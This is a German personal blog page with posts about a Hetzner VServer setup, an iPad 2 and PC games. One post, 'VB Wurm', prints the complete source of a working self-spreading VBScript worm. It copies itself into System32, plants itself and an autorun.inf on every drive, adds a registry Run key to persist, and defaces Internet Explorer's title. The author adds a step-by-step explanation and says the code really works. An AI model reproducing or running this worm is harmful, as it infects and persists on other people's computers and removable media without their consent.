Ich habe heute die Zugangsdaten zu meinem neuen VServer bei Hetzner erhalten. Darauf ist nun Debian minimal installiert. Apache, PHP, exim4 und MySQL waren schnell und einfach zu installieren. Bei proftpd hatte ich jedoch meine Probleme, irgendwann stellte sich dann heraus dass es nur ein minimaler Fehler war. Ich hatte vergessen den neuen Hostnamen in /etc/hosts zu aktualisieren. Naja kann vorkommen…

Was passiert sonst so? Nicht viel, ich zähle derzeit die Tage zum Wochenende und spiele mit dem Gedanken mir ein Mini-ITX Mainboard (Atom CPU) samt Gehäuse zuzulegen. Brauchen tu ichs nicht, aber ein nettes Spielzeug wäre es. Ein Miniserver, ausgelegt auf Passivkühlung :)

VB Wurm

Heute mal ein Beispielcode eines Wurms welcher sich automatisch verbreitet und den Internet Explorer ändert.

 Visual Basic |  copy code |? 
01
'Mutation of Trojan virus.
02
'My name is PC1337.vbs
03
On error resume next
04
Dim mysource, winpath, flashdrive, fs, mf, atr, tf, rg, nt, check, sd,
05
                oldname, newname, rgname
06
Set fs = createobject ("Scripting.FileSystemObject")
07
Set wn = WScript.CreateObject ("WScript.Network")
08
Set mf = fs.getfile (Wscript.ScriptFullname)
09
oldname = CStr (fs.getfilename (Wscript.ScriptFullname))
10
newname = wn.ComputerName & ".vbs"
11
rgname = Replace (newname, ".vbs", "")
12
atr = "[autorun]" & vbcrlf & "shellexecute=wscript.exe PC1337.vbs"
13
dim text, size
14
size = mf.size
15
check = mf.drive.drivetype
16
Set text = mf.openastextstream (1, -2)
17
do while not text.atendofstream
18
        mysource = mysource & text.readline
19
        mysource = mysource & vbcrlf
20
Loop
21
mysource = Replace (mysource, oldname, newname)
22
do
23
        Set winpath = fs.getspecialfolder (0)
24
        Set tf = fs.getfile(winpath & "\SYSTEM32\" & newname)
25
        tf.attributes = 32
26
        Set tf = fs.createtextfile (winpath & "\SYSTEM32\" & newname, 2, true)
27
        tf.write mysource
28
        tf.close
29
        Set tf = fs.getfile (winpath & "\SYSTEM32\" & newname)
30
        tf.attributes = 39
31
For each flashdrive in fs.drives
32
        If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and
33
                        flashdrive.path <> "A:" Then
34
                Set tf = fs.getfile (flashdrive.path & "\PC1337.vbs")
35
                tf.attributes = 32
36
                Set tf = fs.createtextfile (flashdrive.path & "\PC1337.vbs",
37
                                2, true)
38
                tf.write mysource
39
                tf.close
40
                Set tf = fs.getfile (flashdrive.path & "\PC1337.vbs")
41
                tf.attributes = 39
42
 
43
                Set tf = fs.getfile (flashdrive.path & "\autorun.inf")
44
                tf.attributes = 32
45
                Set tf = fs.createtextfile (flashdrive.path & "\autorun.inf",
46
                                2, true)
47
                tf.write atr
48
                tf.close
49
                Set tf = fs.getfile (flashdrive.path & "\autorun.inf")
50
                tf.attributes = 39
51
        End If
52
next
53
Set rg = createobject ("WScript.Shell")
54
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" &
55
                rgname & "", winpath & "\SYSTEM32\" & newname
56
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title",
57
                "Hacked by " & Replace (oldname, ".vbs", "")
58
        if check <> 1 then
59
                Wscript.sleep 120000
60
        End if
61
loop while check <> 1
62
Set sd = createobject ("Wscript.shell")
63
sd.run winpath & "\explorer.exe /e,/select, " & Wscript.ScriptFullname

Was macht das Script also nun? Es gibt sich Rechte für Dateioperatoren und Netzwerke, dann versucht es sich auf jeden Datenträger zu schreiben. Dabei ändert es seinen Namen zu dem Computernamen auf dem es läuft. Danach wird der Quelltext in eine Variable geschrieben. Das VBS-Skript kopiert sich nun in das system32 Verzeichnis von Windows und gibt sich Dateiattribute, somit wird es als Systemdatei anerkannt. Nun schreibt es sich auf jeden Datenträger, sei es ein USB-Stick oder eine Diskette. Dabei wird auch eine autorun.inf angelegt welche das Skript beim einlegen des Datenträgers startet. Nun ändert das Skript den Titelrahmen des Internet-Explorers mit ‘Hacked by’. Dann wird 120 Sekunden gewartet bis sich das Skript erneut startet.
Ich bitte um Vorsicht dabei, es funktioniert wirklich (ein ANtivirenprogramm dürfe aber Alarm schlagen).

Heute hab ich ein paar Gedanken zum Tage. Eventuell will ich ein Spielemagazin erstellen. Nichts großes, nur zum Spaß und schauen was draus wird :)

Lebenszeichen #1

Moin,

ein paar Tage sind es her seit meinem letztem Eintrag. Ich habe berichtet dass ich nun ein iPad 2 habe, bereut habe ich es noch nicht. Wirklich tolle Sache, man achtet jedoch geradezu panisch darauf dass die Rückseite keine Kratzer abbekommt.

Ich habe mir auch die Spiele RAGE und Sonic Generations in Steam gekauft. Bei RAGE war es ein Kampf bis es überhaupt vernünftig läuft (keine Texturen, diese waren nur blau), AMD hat in der finalen Versionen des Catalyst 11.10 geschludert und die alte Version der OpenGL Library reingepackt. Man muss die alte neue Version der DLL (atioglxx.dll) aus dem Internet holen (hier) und in das RAGE Hauptverzeichnis (C:\Programme\Steam\steamapps\common\Rage) kopieren. Dann nimmt das Spiel diese DLL her.
Ansonsten ist das Spiel recht spaßig, auch wenn wirklich einige Texturen verwaschen herüberkommen. Der Mad Max Stil macht aber wieder so einiges wett.
Sonic Generations habe ich mir geholt da ich schon als Kind Sonic gespielt habe (SEGA Mega Drive). Ich finde die Musik bis heute sehr gelungen, ich mag die 16bit Richtung. Auch war es immer sehr schnell spielbar, dazu sind die Levels auch recht detailliert. Sonic Generations macht da keine Abstriche, so gibt es alte Level in neuem Gewand. Alle sind nun in 3D, jedoch läuft man mit dem klassischem Sonic in bekannter Scrolling Weise durch die Level.

Nebenbei arbeite ich an einer vCard im Netz (hier), diese wird jedoch Passwort geschützt sein. Es muss nicht jeder meine Kontaktdaten wie Telefon haben.

 

EDIT: Ich hasse Laptop Tastaturen, sie verschlucken Tasten. Wer Rechtschreibfehler findet darf sie also nun in sein Album kleben.

iPad 2

Ich bin seit gestern nun auch Besitzer eines iPads. Klar schreien nun manche, jedoch ist mir das egal. Ich bin zufrieden damit. Ich habe mir ein paar Apps geladen die ich als praktisch empfinde. So schaue ich nach dem aktuellen TV-Programm oder bin im IRC oder Instant Messengern online. Klar kann man das auch mit einem Laptop oder Netbook, jedoch ist die Bedienbarkeit von einem Tablet einfach unerreicht. Es ist wirklich schön einfach.
Das beste ist jedoch mit dem iPad Zeitschriften zu lesen, es ist wirklich genial interaktiven Inhalt mit Traditionellen zu verbinden. Ich habe mir die Zeitschrift GEE zugelegt. Es ist eine Spielezeitschrift, die Artikel sind sehr gut gemacht. So überzeugen Inhalt und Aufmachung. Man hat zum Beispiel ein Bild im Artikel, klickt man darauf hat man eine Vollbildansicht davon. Auch kann man so durch eine ganze Galerie scrollen. Auch toll sind die eingebetteten Videos in den Artikeln, so kann man gleich beim lesen den Trailer dazu anschauen. Ich werde mir auch demnächst ein Abo für die Sueddeutsche Zeitung holen. Bin mal gar gespannt wie die dann gestaltet ist.

Ich habe übrigens das iPad 2 3G mit 64GB, dazu das Smartcover in schwarzem Leder. Ich werde morgen mal bei O2 fragen ob ich bei meinem bestehenden Vertrag fürs Surfen eine Micro SIM-Karte bekomme.

1 3 4 5 6 7  Scroll to top